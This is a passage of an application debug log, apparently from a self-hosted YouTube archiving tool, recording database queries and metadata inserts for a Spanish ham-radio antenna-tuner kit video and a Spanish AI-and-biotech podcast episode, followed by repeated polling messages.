que he usado como guia yo al montar el kit).\n\n\nHay una excelente guia para montarlo aqui (incluye lista de componentes y esquema:\n\n\nhttps://digitalshack.org/qrp-1-30mhz-antenna-tuner/\n\n\nEl mérito es del autor enteramente... \n\n\nY mas información sobre este tipo de acopladores aqui:\n\n\nhttps://www.arrl.org/files/file/Technology/tis/info/pdf/9501046.pdf\n\n\nVideo que explica las correcciones que hay que hacer al kit original.\n\n\nhttps://www.youtube.com/watch?v=JceLhTV28oI\n\n\nPlantillas para taladrar (hay que ajustar la escala, ojo):\n\n\nhttps://photos.google.com/share/AF1QipNyYWPWzWK__1t2lzKnSc_ifv1qCctyn4c43B4zP9yE28MzCdbwG3wA2qNtCzqRrA?pli=1&key=b045UUVMU3phRWpSOHJkbWVNNlNCUFdZTk1HbU1B\n\n\n#acoplador #radioaficionados #kitelectronica #diyelectronics #hamradio #aliexpress\n\n\nContenido del video \n\n\n00:00 - Presentación\n00:44 - Intro Canal\n01:01 - Presentando el acoplador\n03:24 - Contenido del kit\n06:25 - Montando detector ROE\n15:45 - Mecanizando caja\n18:08 - Comenzando montaje\n23:50 - Bobinado toroide\n31:18 - Ensamblando ultima pieza\n32:12 - Botoneras\n33:57 - Acoplando con nanoVNA\n39:21 - Acoplando con mcHF\n41:46 - Conclusiones\n\n\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2550, "filename" => "/downloads/music/ea3grn/130 - MONTAJE ACOPLADOR ANTENAS MANUAL CHINO PARA QRP.m4a", "id" => "rdOh6g0Wsaw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=rdOh6g0Wsaw", "playlist_index" => 51, "timestamp" => 1710439221, "title" => "130 - MONTAJE ACOPLADOR ANTENAS MANUAL CHINO PARA QRP", "upload_date" => "20240314"} 22:39:07.687 [debug] QUERY OK source="sources" db=0.6ms idle=1771.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:39:07.688 [debug] QUERY OK source="sources" db=0.6ms idle=925.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:39:07.689 [debug] QUERY OK source="media_items" db=0.8ms idle=926.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-14 18:00:21Z], 3] 22:39:07.694 [debug] QUERY OK source="media_items" db=3.7ms idle=927.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Vamos a montar un acoplador en \"T\" usando un kit chino que venden.... bueno, practicamente por nada. Yo lo compré por menos de 10 euros... Podeis encontrarlo aqui:\n\n\nhttps://es.aliexpress.com/item/1005006027479601.html\n\n\no Aqui:\n\n\nhttps://es.aliexpress.com/item/1005001622101127.html\n\n\nEl kit original viene con instrucciones incorrectas para montarlo, asi que he buscado información que os detallo a continuación (y es lo que he usado como guia yo al montar el kit).\n\n\nHay una excelente guia para montarlo aqui (incluye lista de componentes y esquema:\n\n\nhttps://digitalshack.org/qrp-1-30mhz-antenna-tuner/\n\n\nEl mérito es del autor enteramente... \n\n\nY mas información sobre este tipo de acopladores aqui:\n\n\nhttps://www.arrl.org/files/file/Technology/tis/info/pdf/9501046.pdf\n\n\nVideo que explica las correcciones que hay que hacer al kit original.\n\n\nhttps://www.youtube.com/watch?v=JceLhTV28oI\n\n\nPlantillas para taladrar (hay que ajustar la escala, ojo):\n\n\nhttps://photos.google.com/share/AF1QipNyYWPWzWK__1t2lzKnSc_ifv1qCctyn4c43B4zP9yE28MzCdbwG3wA2qNtCzqRrA?pli=1&key=b045UUVMU3phRWpSOHJkbWVNNlNCUFdZTk1HbU1B\n\n\n#acoplador #radioaficionados #kitelectronica #diyelectronics #hamradio #aliexpress\n\n\nContenido del video \n\n\n00:00 - Presentación\n00:44 - Intro Canal\n01:01 - Presentando el acoplador\n03:24 - Contenido del kit\n06:25 - Montando detector ROE\n15:45 - Mecanizando caja\n18:08 - Comenzando montaje\n23:50 - Bobinado toroide\n31:18 - Ensamblando ultima pieza\n32:12 - Botoneras\n33:57 - Acoplando con nanoVNA\n39:21 - Acoplando con mcHF\n41:46 - Conclusiones\n\n\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "130 - MONTAJE ACOPLADOR ANTENAS MANUAL CHINO PARA QRP", "d5fa77af-b9e4-4c11-a6fd-400cc3bc9911", 2550, false, "rdOh6g0Wsaw", "https://www.youtube.com/watch?v=rdOh6g0Wsaw", 51, "/downloads/music/ea3grn/130 - MONTAJE ACOPLADOR ANTENAS MANUAL CHINO PARA QRP.m4a", false, false, false, 3, [], 98, ~U[2024-03-14 18:00:21Z], ~U[2026-02-07 21:39:07Z], ~U[2026-02-07 21:39:07Z], "Vamos a montar un acoplador en \"T\" usando un kit chino que venden.... bueno, practicamente por nada. Yo lo compré por menos de 10 euros... Podeis encontrarlo aqui:\n\n\nhttps://es.aliexpress.com/item/1005006027479601.html\n\n\no Aqui:\n\n\nhttps://es.aliexpress.com/item/1005001622101127.html\n\n\nEl kit original viene con instrucciones incorrectas para montarlo, asi que he buscado información que os detallo a continuación (y es lo que he usado como guia yo al montar el kit).\n\n\nHay una excelente guia para montarlo aqui (incluye lista de componentes y esquema:\n\n\nhttps://digitalshack.org/qrp-1-30mhz-antenna-tuner/\n\n\nEl mérito es del autor enteramente... \n\n\nY mas información sobre este tipo de acopladores aqui:\n\n\nhttps://www.arrl.org/files/file/Technology/tis/info/pdf/9501046.pdf\n\n\nVideo que explica las correcciones que hay que hacer al kit original.\n\n\nhttps://www.youtube.com/watch?v=JceLhTV28oI\n\n\nPlantillas para taladrar (hay que ajustar la escala, ojo):\n\n\nhttps://photos.google.com/share/AF1QipNyYWPWzWK__1t2lzKnSc_ifv1qCctyn4c43B4zP9yE28MzCdbwG3wA2qNtCzqRrA?pli=1&key=b045UUVMU3phRWpSOHJkbWVNNlNCUFdZTk1HbU1B\n\n\n#acoplador #radioaficionados #kitelectronica #diyelectronics #hamradio #aliexpress\n\n\nContenido del video \n\n\n00:00 - Presentación\n00:44 - Intro Canal\n01:01 - Presentando el acoplador\n03:24 - Contenido del kit\n06:25 - Montando detector ROE\n15:45 - Mecanizando caja\n18:08 - Comenzando montaje\n23:50 - Bobinado toroide\n31:18 - Ensamblando ultima pieza\n32:12 - Botoneras\n33:57 - Acoplando con nanoVNA\n39:21 - Acoplando con mcHF\n41:46 - Conclusiones\n\n\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "130 - MONTAJE ACOPLADOR ANTENAS MANUAL CHINO PARA QRP", 2550, false, "rdOh6g0Wsaw", "https://www.youtube.com/watch?v=rdOh6g0Wsaw", "/downloads/music/ea3grn/130 - MONTAJE ACOPLADOR ANTENAS MANUAL CHINO PARA QRP.m4a", false, 3, ~U[2024-03-14 18:00:21Z]] 22:39:07.695 [debug] QUERY OK source="sources" db=0.6ms idle=776.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:39:07.695 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:39:07.696 [debug] QUERY OK source="media_items" db=0.5ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1398] 22:39:07.696 [debug] Current batch of media processed. Will check again in 1000ms 22:39:08.612 [debug] Current batch of media processed. Will check again in 1000ms 22:39:08.697 [debug] Current batch of media processed. Will check again in 1000ms 22:39:09.613 [debug] Current batch of media processed. Will check again in 1000ms 22:39:09.698 [debug] Current batch of media processed. Will check again in 1000ms 22:39:10.614 [debug] Current batch of media processed. Will check again in 1000ms 22:39:10.699 [debug] Current batch of media processed. Will check again in 1000ms 22:39:11.615 [debug] Current batch of media processed. Will check again in 1000ms 22:39:11.700 [debug] Current batch of media processed. Will check again in 1000ms 22:39:12.616 [debug] Current batch of media processed. Will check again in 1000ms 22:39:12.701 [debug] Current batch of media processed. Will check again in 1000ms 22:39:13.617 [debug] Current batch of media processed. Will check again in 1000ms 22:39:13.702 [debug] Current batch of media processed. Will check again in 1000ms 22:39:14.618 [debug] Current batch of media processed. Will check again in 1000ms 22:39:14.703 [debug] Current batch of media processed. Will check again in 1000ms 22:39:15.619 [debug] Current batch of media processed. Will check again in 1000ms 22:39:15.704 [debug] Current batch of media processed. Will check again in 1000ms 22:39:16.620 [debug] Current batch of media processed. Will check again in 1000ms 22:39:16.705 [debug] Current batch of media processed. Will check again in 1000ms 22:39:17.621 [debug] Current batch of media processed. Will check again in 1000ms 22:39:17.706 [debug] Current batch of media processed. Will check again in 1000ms 22:39:18.622 [debug] Current batch of media processed. Will check again in 1000ms 22:39:18.707 [debug] Current batch of media processed. Will check again in 1000ms 22:39:19.623 [debug] Current batch of media processed. Will check again in 1000ms 22:39:19.708 [debug] Current batch of media processed. Will check again in 1000ms 22:39:20.624 [debug] Current batch of media processed. Will check again in 1000ms 22:39:20.709 [debug] Current batch of media processed. Will check again in 1000ms 22:39:21.243 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:21.625 [debug] Current batch of media processed. Will check again in 1000ms 22:39:21.710 [debug] Current batch of media processed. Will check again in 1000ms 22:39:22.626 [debug] Current batch of media processed. Will check again in 1000ms 22:39:22.711 [debug] Current batch of media processed. Will check again in 1000ms 22:39:23.627 [debug] Current batch of media processed. Will check again in 1000ms 22:39:23.712 [debug] Current batch of media processed. Will check again in 1000ms 22:39:24.628 [debug] Current batch of media processed. Will check again in 1000ms 22:39:24.713 [debug] Current batch of media processed. Will check again in 1000ms 22:39:25.629 [debug] Current batch of media processed. Will check again in 1000ms 22:39:25.714 [debug] Current batch of media processed. Will check again in 1000ms 22:39:26.630 [debug] Current batch of media processed. Will check again in 1000ms 22:39:26.715 [debug] Current batch of media processed. Will check again in 1000ms 22:39:27.631 [debug] Current batch of media processed. Will check again in 1000ms 22:39:27.716 [debug] Current batch of media processed. Will check again in 1000ms 22:39:28.632 [debug] Current batch of media processed. Will check again in 1000ms 22:39:28.717 [debug] Current batch of media processed. Will check again in 1000ms 22:39:29.633 [debug] Current batch of media processed. Will check again in 1000ms 22:39:29.718 [debug] Current batch of media processed. Will check again in 1000ms 22:39:30.634 [debug] Current batch of media processed. Will check again in 1000ms 22:39:30.719 [debug] Current batch of media processed. Will check again in 1000ms 22:39:31.635 [debug] Current batch of media processed. Will check again in 1000ms 22:39:31.720 [debug] Current batch of media processed. Will check again in 1000ms 22:39:32.636 [debug] Current batch of media processed. Will check again in 1000ms 22:39:32.721 [debug] Current batch of media processed. Will check again in 1000ms 22:39:33.637 [debug] Current batch of media processed. Will check again in 1000ms 22:39:33.722 [debug] Current batch of media processed. Will check again in 1000ms 22:39:34.638 [debug] Current batch of media processed. Will check again in 1000ms 22:39:34.723 [debug] Current batch of media processed. Will check again in 1000ms 22:39:35.639 [debug] Current batch of media processed. Will check again in 1000ms 22:39:35.724 [debug] Current batch of media processed. Will check again in 1000ms 22:39:36.640 [debug] Current batch of media processed. Will check again in 1000ms 22:39:36.725 [debug] Current batch of media processed. Will check again in 1000ms 22:39:37.641 [debug] Current batch of media processed. Will check again in 1000ms 22:39:37.726 [debug] Current batch of media processed. Will check again in 1000ms 22:39:38.642 [debug] Current batch of media processed. Will check again in 1000ms 22:39:38.727 [debug] Current batch of media processed. Will check again in 1000ms 22:39:39.643 [debug] Current batch of media processed. Will check again in 1000ms 22:39:39.728 [debug] Current batch of media processed. Will check again in 1000ms 22:39:40.644 [debug] Current batch of media processed. Will check again in 1000ms 22:39:40.729 [debug] Current batch of media processed. Will check again in 1000ms 22:39:41.645 [debug] Current batch of media processed. Will check again in 1000ms 22:39:41.730 [debug] Current batch of media processed. Will check again in 1000ms 22:39:42.646 [debug] Current batch of media processed. Will check again in 1000ms 22:39:42.731 [debug] Current batch of media processed. Will check again in 1000ms 22:39:43.647 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "NO voy a pedir perdón!\n\nHoy nace: 🚀 IA mi Que? 🚀 \n\nUn proyecto que realizo junto a David García Martínez en el que vamos a intentar explicar las dos revoluciones que estamos viviendo: \n💥 una revolución en presente absoluto que es la de IA \n💥 otra revolución que se vive mas lentamente pero que en cualquier momento va a eclosionar que es la biotecnológica.\n\nPor que he dicho que NO voy a pedir perdón, ni voy a poner excusas, vamos a priorizar los mensajes mas que el formato, queremos que tengas las información y que la comprendas, para que actúes, y por ello vamos a seguir la maxima: 👉🏻Mas vale hecho que perfecto!!!!👈🏻\n\nNO vamos a contarte noticias, NO vamos a hacer tutoriales, NO vamos a venderte cursos, son conversaciones en las que hablaremos de cosas que se pueden usar, quien las usa, para que las usan y sobre todo para que te pueden valer, a partir de ahi... tu veras... no te voy a pedir perdón pero como te vea que la cagas por no habernos escuchado tu si que tendrás que pedirme perdón.\n\nQue te estamos contando? ahi vamos. David García Martínez y yo nos hemos lanzado a ser algo mas que espectadores en esta revolución de la IA y de la biotecnología:\n\n➡️ Queremos ayudarte a que entiendas, la IA 🤖 y la genética 🧬 no son para doctores en matemáticas o biólogos moleculares. Tambien es para ti y la puedes entender, nosotros te vamos a ayudar. \n➡️ Queremos ayudarte a que sepas en que se puede hacer y que es simplemente una idea, que llegará, pero hoy solo ideas. Hoy te hablan de muchas cosas en presente que serán futuro, y las del presente que son tan buenas o mejores no las estas usando.\n➡️ Queremos ayudarte a que sepas esto en tu vida, en tu trabajo o en tu negocio donde se puede aplicar.\n\n🤝Nuestro compromiso mínimo: 1 año - 52 semanas - 52 post - 52 temáticas. Combinación IA (tecnología) y Genética (biotecnología) . Sino lo cumplimos cuando nos veas esa ronda la pagamos nosotros 🍻.\n\nObjetivo que de 52: Comprendas 25, creo que no es pedir mucho, y después ya que intentes implementar 10. Pero de eso... ya iremos hablando.", "duration" => 357, "filename" => "/downloads/music/IA mí QUÉ/EP.1 - ¡Nos presentamos!.m4a", "id" => "4iXgM2aPw0Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=4iXgM2aPw0Q", "playlist_index" => 49, "timestamp" => 1741337585, "title" => "EP.1 - ¡Nos presentamos!", "upload_date" => "20250307"} 22:39:43.648 [debug] QUERY OK source="sources" db=0.6ms idle=885.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:39:43.649 [debug] QUERY OK source="sources" db=0.4ms idle=886.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:39:43.650 [debug] QUERY OK source="media_items" db=0.6ms idle=886.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-07 08:53:05Z], 2] 22:39:43.652 [debug] QUERY OK source="media_items" db=1.3ms idle=887.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["NO voy a pedir perdón!\n\nHoy nace: 🚀 IA mi Que? 🚀 \n\nUn proyecto que realizo junto a David García Martínez en el que vamos a intentar explicar las dos revoluciones que estamos viviendo: \n💥 una revolución en presente absoluto que es la de IA \n💥 otra revolución que se vive mas lentamente pero que en cualquier momento va a eclosionar que es la biotecnológica.\n\nPor que he dicho que NO voy a pedir perdón, ni voy a poner excusas, vamos a priorizar los mensajes mas que el formato, queremos que tengas las información y que la comprendas, para que actúes, y por ello vamos a seguir la maxima: 👉🏻Mas vale hecho que perfecto!!!!👈🏻\n\nNO vamos a contarte noticias, NO vamos a hacer tutoriales, NO vamos a venderte cursos, son conversaciones en las que hablaremos de cosas que se pueden usar, quien las usa, para que las usan y sobre todo para que te pueden valer, a partir de ahi... tu veras... no te voy a pedir perdón pero como te vea que la cagas por no habernos escuchado tu si que tendrás que pedirme perdón.\n\nQue te estamos contando? ahi vamos. David García Martínez y yo nos hemos lanzado a ser algo mas que espectadores en esta revolución de la IA y de la biotecnología:\n\n➡️ Queremos ayudarte a que entiendas, la IA 🤖 y la genética 🧬 no son para doctores en matemáticas o biólogos moleculares. Tambien es para ti y la puedes entender, nosotros te vamos a ayudar. \n➡️ Queremos ayudarte a que sepas en que se puede hacer y que es simplemente una idea, que llegará, pero hoy solo ideas. Hoy te hablan de muchas cosas en presente que serán futuro, y las del presente que son tan buenas o mejores no las estas usando.\n➡️ Queremos ayudarte a que sepas esto en tu vida, en tu trabajo o en tu negocio donde se puede aplicar.\n\n🤝Nuestro compromiso mínimo: 1 año - 52 semanas - 52 post - 52 temáticas. Combinación IA (tecnología) y Genética (biotecnología) . Sino lo cumplimos cuando nos veas esa ronda la pagamos nosotros 🍻.\n\nObjetivo que de 52: Comprendas 25, creo que no es pedir mucho, y después ya que intentes implementar 10. Pero de eso... ya iremos hablando.", "EP.1 - ¡Nos presentamos!", "665243dc-2779-4209-9090-325bbdd6a24f", 357, false, "4iXgM2aPw0Q", "https://www.youtube.com/watch?v=4iXgM2aPw0Q", 49, "/downloads/music/IA mí QUÉ/EP.1 - ¡Nos presentamos!.m4a", false, false, false, 2, [], 98, ~U[2025-03-07 08:53:05Z], ~U[2026-02-07 21:39:43Z], ~U[2026-02-07 21:39:43Z], "NO voy a pedir perdón!\n\nHoy nace: 🚀 IA mi Que? 🚀 \n\nUn proyecto que realizo junto a David García Martínez en el que vamos a intentar explicar las dos revoluciones que estamos viviendo: \n💥 una revolución en presente absoluto que es la de IA \n💥 otra revolución que se vive mas lentamente pero que en cualquier momento va a eclosionar que es la biotecnológica.\n\nPor que he dicho que NO voy a pedir perdón, ni voy a poner excusas, vamos a priorizar los mensajes mas que el formato, queremos que tengas las información y que la comprendas, para que actúes, y por ello vamos a seguir la maxima: 👉🏻Mas vale hecho que perfecto!!!!👈🏻\n\nNO vamos a contarte noticias, NO vamos a hacer tutoriales, NO vamos a venderte cursos, son conversaciones en las que hablaremos de cosas que se pueden usar, quien las usa, para que las usan y sobre todo para que te pueden valer, a partir de ahi... tu veras... no te voy a pedir perdón pero como te vea que la cagas por no habernos escuchado tu si que tendrás que pedirme perdón.\n\nQue te estamos contando? ahi vamos. David García Martínez y yo nos hemos lanzado a ser algo mas que espectadores en esta revolución de la IA y de la biotecnología:\n\n➡️ Queremos ayudarte a que entiendas, la IA 🤖 y la genética 🧬 no son para doctores en matemáticas o biólogos moleculares. Tambien es para ti y la puedes entender, nosotros te vamos a ayudar. \n➡️ Queremos ayudarte a que sepas en que se puede hacer y que es simplemente una idea, que llegará, pero hoy solo ideas. Hoy te hablan de muchas cosas en presente que serán futuro, y las del presente que son tan buenas o mejores no las estas usando.\n➡️ Queremos ayudarte a que sepas esto en tu vida, en tu trabajo o en tu negocio donde se puede aplicar.\n\n🤝Nuestro compromiso mínimo: 1 año - 52 semanas - 52 post - 52 temáticas. Combinación IA (tecnología) y Genética (biotecnología) . Sino lo cumplimos cuando nos veas esa ronda la pagamos nosotros 🍻.\n\nObjetivo que de 52: Comprendas 25, creo que no es pedir mucho, y después ya que intentes implementar 10. Pero de eso... ya iremos hablando.", "EP.1 - ¡Nos presentamos!", 357, false, "4iXgM2aPw0Q", "https://www.youtube.com/watch?v=4iXgM2aPw0Q", "/downloads/music/IA mí QUÉ/EP.1 - ¡Nos presentamos!.m4a", false, 2, ~U[2025-03-07 08:53:05Z]] 22:39:43.653 [debug] QUERY OK source="sources" db=0.5ms idle=667.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:39:43.653 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:39:43.654 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1362] 22:39:43.654 [debug] Current batch of media processed. Will check again in 1000ms 22:39:43.732 [debug] Current batch of media processed. Will check again in 1000ms 22:39:44.655 [debug] Current batch of media processed. Will check again in 1000ms 22:39:44.733 [debug] Current batch of media processed. Will check again in 1000ms 22:39:45.656 [debug] Current batch of media processed. Will check again in 1000ms 22:39:45.734 [debug] Current batch of media processed. Will check again in 1000ms 22:39:46.657 [debug] Current batch of media processed. Will check again in 1000ms 22:39:46.735 [debug] Current batch of media processed. Will check again in 1000ms 22:39:47.658 [debug] Current batch of media processed. Will check again in 1000ms 22:39:47.736 [debug] Current batch of media processed. Will check again in 1000ms 22:39:48.659 [debug] Current batch of media processed. Will check again in 1000ms 22:39:48.737 [debug] Current batch of media processed. Will check again in 1000ms 22:39:49.660 [debug] Current batch of media processed. Will check again in 1000ms 22:39:49.738 [debug] Current batch of media processed. Will check again in 1000ms 22:39:50.661 [debug] Current batch of media processed. Will check again in 1000ms 22:39:50.739 [debug] Current batch of media processed. Will check again in 1000ms 22:39:51.244 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:51.662 [debug] Current batch of media processed. Will check again in 1000ms 22:39:51.740 [debug] Current batch of media processed. Will check again in 1000ms 22:39:52.663 [debug] Current batch of media processed. Will check again in 1000ms 22:39:52.741 [debug] Current batch of media processed. Will check again in 1000ms 22:39:53.664 [debug] Current batch of media processed. Will check again in 1000ms 22:39:53.742 [debug] Current batch of media processed. Will check again in 1000ms 22:39:54.665 [debug] Current batch of media processed. Will check again in 1000ms 22:39:54.743 [debug] Current batch of media processed. Will check again in 1000ms 22:39:55.666 [debug] Current batch of media processed. Will check again in 1000ms 22:39:55.744 [debug] Current batch of media processed. Will check again in 1000ms 22:39:56.667 [debug] Current batch of media processed. Will check again in 1000ms 22:39:56.745 [debug] Current batch of media processed. Will check again in 1000ms 22:39:57.668 [debug] Current batch of media processed. Will check again in 1000ms 22:39:57.746 [debug] Current batch of media processed. Will check again in 1000ms 22:39:58.669 [debug] Current batch of media processed. Will check again in 1000ms 22:39:58.747 